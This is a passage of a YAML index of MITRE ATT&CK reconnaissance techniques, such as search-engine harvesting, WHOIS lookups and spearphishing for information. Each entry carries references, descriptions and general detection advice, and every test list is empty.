        Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.

        Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - PRE
    atomic_tests: []
  T1593.002:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1593.002
        url: https://attack.mitre.org/techniques/T1593/002
      - source_name: SecurityTrails Google Hacking
        url: https://securitytrails.com/blog/google-hacking-techniques
        description: Borges, E. (2019, March 5). Exploring Google Hacking Techniques.
          Retrieved October 20, 2020.
      - source_name: ExploitDB GoogleHacking
        url: https://www.exploit-db.com/google-hacking-database
        description: Offensive Security. (n.d.). Google Hacking Database. Retrieved
          October 23, 2020.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Search Engines
      description: |-
        Adversaries may use search engines to collect information about victims that can be used during targeting. Search engine services typical crawl online sites to index context and may provide users with specialized syntax to search for specific keywords or specific types of content (i.e. filetypes).(Citation: SecurityTrails Google Hacking)(Citation: ExploitDB GoogleHacking)

        Adversaries may craft various search engine queries depending on what information they seek to gather. Threat actors may use search engines to harvest general information about victims, as well as use specialized queries to look for spillages/leaks of sensitive information such as network details or credentials. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Valid Accounts](https://attack.mitre.org/techniques/T1078) or [Phishing](https://attack.mitre.org/techniques/T1566)).
      id: attack-pattern--6e561441-8431-4773-a9b8-ccf28ef6a968
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: reconnaissance
      modified: '2021-04-15T03:52:06.960Z'
      created: '2020-10-02T16:50:12.809Z'
      x_mitre_detection: |-
        Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.

        Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - PRE
    atomic_tests: []
  T1596:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1596
        url: https://attack.mitre.org/techniques/T1596
      - source_name: WHOIS
        url: https://www.whois.net/
        description: NTT America. (n.d.). Whois Lookup. Retrieved October 20, 2020.
      - source_name: DNS Dumpster
        url: https://dnsdumpster.com/
        description: Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020.
      - source_name: Circl Passive DNS
        url: https://www.circl.lu/services/passive-dns/
        description: CIRCL Computer Incident Response Center. (n.d.). Passive DNS.
          Retrieved October 20, 2020.
      - source_name: Medium SSL Cert
        url: https://medium.com/@menakajain/export-download-ssl-certificate-from-server-site-url-bcfc41ea46a2
        description: Jain, M. (2019, September 16). Export & Download — SSL Certificate
          from Server (Site URL). Retrieved October 20, 2020.
      - source_name: SSLShopper Lookup
        url: https://www.sslshopper.com/ssl-checker.html
        description: SSL Shopper. (n.d.). SSL Checker. Retrieved October 20, 2020.
      - source_name: DigitalShadows CDN
        url: https://www.digitalshadows.com/blog-and-research/content-delivery-networks-cdns-can-leave-you-exposed-how-you-might-be-affected-and-what-you-can-do-about-it/
        description: Swisscom & Digital Shadows. (2017, September 6). Content Delivery
          Networks (CDNs) Can Leave You Exposed – How You Might Be Affected And What
          You Can Do About It. Retrieved October 20, 2020.
      - source_name: Shodan
        url: https://shodan.io
        description: Shodan. (n.d.). Shodan. Retrieved October 20, 2020.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Search Open Technical Databases
      description: |-
        Adversaries may search freely available technical databases for information about victims that can be used during targeting. Information about victims may be available in online databases and repositories, such as registrations of domains/certificates as well as public collections of network data/artifacts gathered from traffic and/or scans.(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS)(Citation: Medium SSL Cert)(Citation: SSLShopper Lookup)(Citation: DigitalShadows CDN)(Citation: Shodan)

        Adversaries may search in different open databases depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).
      id: attack-pattern--55fc4df0-b42c-479a-b860-7a6761bcaad0
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: reconnaissance
      modified: '2021-04-15T03:50:44.308Z'
      created: '2020-10-02T16:56:05.810Z'
      x_mitre_detection: |-
        Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.

        Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - PRE
    atomic_tests: []
  T1593:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1593
        url: https://attack.mitre.org/techniques/T1593
      - source_name: Cyware Social Media
        url: https://cyware.com/news/how-hackers-exploit-social-media-to-break-into-your-company-88e8da8e
        description: Cyware Hacker News. (2019, October 2). How Hackers Exploit Social
          Media To Break Into Your Company. Retrieved October 20, 2020.
      - source_name: SecurityTrails Google Hacking
        url: https://securitytrails.com/blog/google-hacking-techniques
        description: Borges, E. (2019, March 5). Exploring Google Hacking Techniques.
          Retrieved October 20, 2020.
      - source_name: ExploitDB GoogleHacking
        url: https://www.exploit-db.com/google-hacking-database
        description: Offensive Security. (n.d.). Google Hacking Database. Retrieved
          October 23, 2020.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Search Open Websites/Domains
      description: |-
        Adversaries may search freely available websites and/or domains for information about victims that can be used during targeting. Information about victims may be available in various online sites, such as social media, new sites, or those hosting information about business operations such as hiring or requested/rewarded contracts.(Citation: Cyware Social Media)(Citation: SecurityTrails Google Hacking)(Citation: ExploitDB GoogleHacking)

        Adversaries may search in different online sites depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Phishing](https://attack.mitre.org/techniques/T1566)).
      id: attack-pattern--a0e6614a-7740-4b24-bd65-f1bde09fc365
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: reconnaissance
      modified: '2021-04-15T03:52:41.104Z'
      created: '2020-10-02T16:48:04.509Z'
      x_mitre_detection: |-
        Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.

        Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - PRE
    atomic_tests: []
  T1594:
    technique:
      created: '2020-10-02T16:51:50.306Z'
      modified: '2021-04-15T03:53:33.023Z'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: reconnaissance
      type: attack-pattern
      id: attack-pattern--16cdd21f-da65-4e4f-bc04-dd7d198c7b26
      description: |-
        Adversaries may search websites owned by the victim for information that can be used during targeting. Victim-owned websites may contain a variety of details, including names of departments/divisions, physical locations, and data about key employees such as names, roles, and contact info (ex: [Email Addresses](https://attack.mitre.org/techniques/T1589/002)). These sites may also have details highlighting business operations and relationships.(Citation: Comparitech Leak)

        Adversaries may search victim-owned websites to gather actionable information. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Trusted Relationship](https://attack.mitre.org/techniques/T1199) or [Phishing](https://attack.mitre.org/techniques/T1566)).
      name: Search Victim-Owned Websites
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1594
        url: https://attack.mitre.org/techniques/T1594
      - source_name: Comparitech Leak
        url: https://www.comparitech.com/blog/vpn-privacy/350-million-customer-records-exposed-online/
        description: Bischoff, P. (2020, October 15). Broadvoice database of more
          than 350 million customer records exposed online. Retrieved October 20,
          2020.
      x_mitre_platforms:
      - PRE
      x_mitre_is_subtechnique: false
      x_mitre_version: '1.0'
      x_mitre_detection: Monitor for suspicious network traffic that could be indicative
        of adversary reconnaissance, such as rapid successions of requests indicative
        of web crawling and/or large quantities of requests originating from a single
        source (especially if the source is known to be associated with an adversary).
        Analyzing web metadata may also reveal artifacts that can be attributed to
        potentially malicious activity, such as referer or user-agent string HTTP/S
        fields.
      x_mitre_data_sources:
      - 'Application Log: Application Log Content'
    atomic_tests: []
  T1593.001:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1593.001
        url: https://attack.mitre.org/techniques/T1593/001
      - source_name: Cyware Social Media
        url: https://cyware.com/news/how-hackers-exploit-social-media-to-break-into-your-company-88e8da8e
        description: Cyware Hacker News. (2019, October 2). How Hackers Exploit Social
          Media To Break Into Your Company. Retrieved October 20, 2020.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Social Media
      description: |-
        Adversaries may search social media for information about victims that can be used during targeting. Social media sites may contain various information about a victim organization, such as business announcements as well as information about the roles, locations, and interests of staff.

        Adversaries may search in different social media sites depending on what information they seek to gather. Threat actors may passively harvest data from these sites, as well as use information gathered to create fake profiles/groups to elicit victim’s into revealing specific information (i.e. [Spearphishing Service](https://attack.mitre.org/techniques/T1598/001)).(Citation: Cyware Social Media) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)).
      id: attack-pattern--bbe5b322-e2af-4a5e-9625-a4e62bf84ed3
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: reconnaissance
      modified: '2021-04-15T03:52:40.958Z'
      created: '2020-10-02T16:49:31.262Z'
      x_mitre_detection: |-
        Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.

        Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - PRE
    atomic_tests: []
  T1592.002:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1592.002
        url: https://attack.mitre.org/techniques/T1592/002
      - source_name: ATT ScanBox
        url: https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks
        description: 'Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework
          Used with Watering Hole Attacks. Retrieved October 19, 2020.'
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Software
      description: |-
        Adversaries may gather information about the victim's host software that can be used during targeting. Information about installed software may include a variety of details such as types and versions on specific hosts, as well as the presence of additional components that might be indicative of added defensive protections (ex: antivirus, SIEMs, etc.).

        Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) (ex: listening ports, server banners, user agent strings) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about the installed software may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or for initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [External Remote Services](https://attack.mitre.org/techniques/T1133)).
      id: attack-pattern--baf60e1a-afe5-4d31-830f-1b1ba2351884
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: reconnaissance
      modified: '2021-04-15T03:23:57.876Z'
      created: '2020-10-02T16:42:17.482Z'
      x_mitre_detection: |-
        Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.

        Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - PRE
    atomic_tests: []
  T1598.002:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1598.002
        url: https://attack.mitre.org/techniques/T1598/002
      - source_name: Sophos Attachment
        url: https://nakedsecurity.sophos.com/2020/10/02/serious-security-phishing-without-links-when-phishers-bring-along-their-own-web-pages/
        description: 'Ducklin, P. (2020, October 2). Serious Security: Phishing without
          links – when phishers bring along their own web pages. Retrieved October
          20, 2020.'
      - source_name: GitHub Phishery
        url: https://github.com/ryhanson/phishery
        description: Ryan Hanson. (2016, September 24). phishery. Retrieved October
          23, 2020.
      - source_name: Microsoft Anti Spoofing
        url: https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide
        description: Microsoft. (2020, October 13). Anti-spoofing protection in EOP.
          Retrieved October 19, 2020.
      - source_name: ACSC Email Spoofing
        url: https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf
        description: Australian Cyber Security Centre. (2012, December). Mitigating
          Spoofed Emails Using Sender Policy Framework. Retrieved October 19, 2020.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Spearphishing Attachment
      description: |-
        Adversaries may send spearphishing messages with a malicious attachment to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages.

        All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon the recipient populating information then returning the file.(Citation: Sophos Attachment)(Citation: GitHub Phishery) The text of the spearphishing email usually tries to give a plausible reason why the file should be filled-in, such as a request for information from a business associate. Adversaries may also use information from previous reconnaissance efforts (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)) to craft persuasive and believable lures.
      id: attack-pattern--8982a661-d84c-48c0-b4ec-1db29c6cf3bc
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: reconnaissance
      modified: '2021-04-15T03:41:33.335Z'
      created: '2020-10-02T17:08:57.386Z'
      x_mitre_contributors:
      - Philip Winther
      - Sebastian Salla, McAfee
      - Robert Simmons, @MalwareUtkonos
      x_mitre_data_sources:
      - 'Application Log: Application Log Content'
      - 'Network Traffic: Network Traffic Content'
      - 'Network Traffic: Network Traffic Flow'
      x_mitre_detection: 'Monitor for suspicious email activity, such as numerous
        accounts receiving messages from a single unusual/unknown sender. Filtering
        based on DKIM+SPF or header analysis can help detect when the email sender
        is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing)'
      x_mitre_version: '1.1'
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - PRE
    atomic_tests: []
  T1598.003:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1598.003
        url: https://attack.mitre.org/techniques/T1598/003
      - source_name: TrendMictro Phishing
        url: https://www.trendmicro.com/en_us/research/20/i/tricky-forms-of-phishing.html
        description: Babon, P. (2020, September 3). Tricky 'Forms' of Phishing. Retrieved
          October 20, 2020.
      - source_name: PCMag FakeLogin
        url: https://www.pcmag.com/news/hackers-try-to-phish-united-nations-staffers-with-fake-login-pages
        description: Kan, M. (2019, October 24). Hackers Try to Phish United Nations
          Staffers With Fake Login Pages. Retrieved October 20, 2020.
      - source_name: Microsoft Anti Spoofing
        url: https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide
        description: Microsoft. (2020, October 13). Anti-spoofing protection in EOP.
          Retrieved October 19, 2020.
      - source_name: ACSC Email Spoofing
        url: https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf
        description: Australian Cyber Security Centre. (2012, December). Mitigating
          Spoofed Emails Using Sender Policy Framework. Retrieved October 19, 2020.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Spearphishing Link
      description: |-
        Adversaries may send spearphishing messages with a malicious link to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages.

        All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, the malicious emails contain links generally accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser.(Citation: TrendMictro Phishing)(Citation: PCMag FakeLogin) The given website may closely resemble a legitimate site in appearance and have a URL containing elements from the real site. From the fake website, information is gathered in web forms and sent to the attacker. Adversaries may also use information from previous reconnaissance efforts (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)) to craft persuasive and believable lures.
      id: attack-pattern--2d3f5b3c-54ca-4f4d-bb1f-849346d31230
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: reconnaissance
      modified: '2021-04-15T03:42:26.537Z'
      created: '2020-10-02T17:09:50.723Z'
      x_mitre_contributors:
      - Philip Winther
      - Sebastian Salla, McAfee
      - Robert Simmons, @MalwareUtkonos
      x_mitre_data_sources:
      - 'Application Log: Application Log Content'
      - 'Network Traffic: Network Traffic Content'
      - 'Network Traffic: Network Traffic Flow'
      x_mitre_detection: |-
        Monitor for suspicious email activity, such as numerous accounts receiving messages from a single unusual/unknown sender. Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing)

        Monitor for references to uncategorized or known-bad sites. URL inspection within email (including expanding shortened links) can also help detect links leading to known malicious sites.
      x_mitre_version: '1.1'
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - PRE
    atomic_tests: []
  T1598.001:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1598.001
        url: https://attack.mitre.org/techniques/T1598/001
      - source_name: ThreatPost Social Media Phishing
        url: https://threatpost.com/facebook-launching-pad-phishing-attacks/160351/
        description: 'O''Donnell, L. (2020, October 20). Facebook: A Top Launching
          Pad For Phishing Attacks. Retrieved October 20, 2020.'
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Spearphishing Service
      description: |-
        Adversaries may send spearphishing messages via third-party services to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages.

        All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries send messages through various social media services, personal webmail, and other non-enterprise controlled services.(Citation: ThreatPost Social Media Phishing) These services are more likely to have a less-strict security policy than an enterprise. As with most kinds of spearphishing, the goal is to generate rapport with the target or get the target's interest in some way. Adversaries may create fake social media accounts and message employees for potential job opportunities. Doing so allows a plausible reason for asking about services, policies, and information about their environment. Adversaries may also use information from previous reconnaissance efforts (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)) to craft persuasive and believable lures.
      id: attack-pattern--f870408c-b1cd-49c7-a5c7-0ef0fc496cc6
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: reconnaissance
      modified: '2021-04-15T03:43:12.843Z'
      created: '2020-10-02T17:08:07.742Z'
      x_mitre_data_sources:
      - 'Application Log: Application Log Content'
      - 'Network Traffic: Network Traffic Content'
      - 'Network Traffic: Network Traffic Flow'
      x_mitre_contributors:
      - Robert Simmons, @MalwareUtkonos
      x_mitre_detection: |-
        Monitor social media traffic for suspicious activity, including messages requesting information as well as abnormal file or data transfers (especially those involving unknown, or otherwise suspicious accounts).

        Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.

        Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - PRE
    atomic_tests: []
  T1597.001:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1597.001
        url: https://attack.mitre.org/techniques/T1597/001
      - source_name: D3Secutrity CTI Feeds
        url: https://d3security.com/blog/10-of-the-best-open-source-threat-intelligence-feeds/
        description: Banerd, W. (2019, April 30). 10 of the Best Open Source Threat
          Intelligence Feeds. Retrieved October 20, 2020.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Threat Intel Vendors
      description: |-
        Adversaries may search private data from threat intelligence vendors for information that can be used during targeting. Threat intelligence vendors may offer paid feeds or portals that offer more data than what is publicly reported. Although sensitive details (such as customer names and other identifiers) may be redacted, this information may contain trends regarding breaches such as target industries, attribution claims, and successful TTPs/countermeasures.(Citation: D3Secutrity CTI Feeds)

        Adversaries may search in private threat intelligence vendor data to gather actionable information. Threat actors may seek information/indicators gathered about their own campaigns, as well as those conducted by other adversaries that may align with their target industries, capabilities/objectives, or other operational concerns. Information reported by vendors may also reveal opportunities other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190) or [External Remote Services](https://attack.mitre.org/techniques/T1133)).
      id: attack-pattern--51e54974-a541-4fb6-a61b-0518e4c6de41
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: reconnaissance
      modified: '2021-04-15T03:45:30.862Z'
      created: '2020-10-02T17:03:45.918Z'
      x_mitre_detection: |-
        Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.

        Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - PRE
    atomic_tests: []
  T1595.002:
    technique:
      id: attack-pattern--5502c4e9-24ef-4d5f-8ee9-9e906c2f82c4
      description: |-
        Adversaries may scan victims for vulnerabilities that can be used during targeting. Vulnerability scans typically check if the configuration of a target host/application (ex: software and version) potentially aligns with the target of a specific exploit the adversary may seek to use.

        These scans may also include more broad attempts to [Gather Victim Host Information](https://attack.mitre.org/techniques/T1592) that can be used to identify more commonly known, exploitable vulnerabilities. Vulnerability scans typically harvest running software and version numbers via server banners, listening ports, or other network artifacts.(Citation: OWASP Vuln Scanning) Information from these scans may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)).
      name: Vulnerability Scanning
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1595.002
        url: https://attack.mitre.org/techniques/T1595/002
      - source_name: OWASP Vuln Scanning
        url: https://wiki.owasp.org/index.php/OAT-014_Vulnerability_Scanning
        description: OWASP Wiki. (2018, February 16). OAT-014 Vulnerability Scanning.
          Retrieved October 20, 2020.
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: reconnaissance
      modified: '2021-04-15T03:20:09.446Z'
      created: '2020-10-02T16:55:16.047Z'
      x_mitre_platforms:
      - PRE
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_detection: |-
        Monitor for suspicious network traffic that could be indicative of scanning, such as large quantities originating from a single source (especially if the source is known to be associated with an adversary/botnet). Analyzing web metadata may also reveal artifacts that can be attributed to potentially malicious activity, such as referer or user-agent string HTTP/S fields.

        Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.

        Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
      x_mitre_data_sources:
      - 'Network Traffic: Network Traffic Flow'
      - 'Network Traffic: Network Traffic Content'
    atomic_tests: []
  T1596.002:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1596.002
        url: https://attack.mitre.org/techniques/T1596/002
      - source_name: WHOIS
        url: https://www.whois.net/
        description: NTT America. (n.d.). Whois Lookup. Retrieved October 20, 2020.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: WHOIS
      description: |-
        Adversaries may search public WHOIS data for information about victims that can be used during targeting. WHOIS data is stored by regional Internet registries (RIR) responsible for allocating and assigning Internet resources such as domain names. Anyone can query WHOIS servers for information about a registered domain, such as assigned IP blocks, contact information, and DNS nameservers.(Citation: WHOIS)

        Adversaries may search WHOIS data to gather actionable information. Threat actors can use online resources or command-line utilities to pillage through WHOIS data for information about potential victims. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).
      id: attack-pattern--166de1c6-2814-4fe5-8438-4e80f76b169f
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: reconnaissance
      modified: '2021-04-15T03:50:44.113Z'
      created: '2020-10-02T16:56:49.744Z'
      x_mitre_detection: |-
        Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.

        Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - PRE
    atomic_tests: []
execution:
  T1059.002:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1059.002
        url: https://attack.mitre.org/techniques/T1059/002
      - source_name: Apple AppleScript
        url: https://developer.apple.com/library/archive/documentation/AppleScript/Conceptual/AppleScriptLangGuide/introduction/ASLR_intro.html
        description: Apple. (2016, January 25). Introduction to AppleScript Language
          Guide. Retrieved March 28, 2020.
      - source_name: SentinelOne AppleScript
        url: https://www.sentinelone.com/blog/how-offensive-actors-use-applescript-for-attacking-macos/
